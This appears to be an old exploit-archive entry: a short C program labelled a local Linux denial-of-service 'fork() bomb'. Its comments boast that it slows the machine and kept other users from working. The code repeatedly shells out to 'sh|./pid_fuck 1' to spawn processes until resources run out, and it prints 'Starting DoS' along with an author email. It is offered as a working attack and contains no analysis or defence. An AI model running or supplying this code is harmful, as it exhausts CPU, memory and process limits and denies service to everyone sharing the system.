Local linux dos - fork() bomb.
0150114c259b6f8388ff58ff1ed1bf9e8d1d382a3e050a5864232da60723117d
/* Do not: rename this file. */
/* this simple program will create many processes. */
/* this will slowdown the machine and increase cpu */
/* and memory usage. */
/* when i ran this program at the same time by 2 */
/* different users other users couldn't work */
/* (Sorry for my lame C Sk1llz) */
#include<stdio.h>
#define evilc0de "sh|./pid_fuck 1"
main(int argc, char argv[])
{
if (argc<2)
{
printf ("\n Starting DoS................ \n");
printf ("\n Let it run for a while ..... \n");
printf (" grazer@hit2000.org \n");
system (evilc0de);
}
else
{
system(evilc0de);
}
}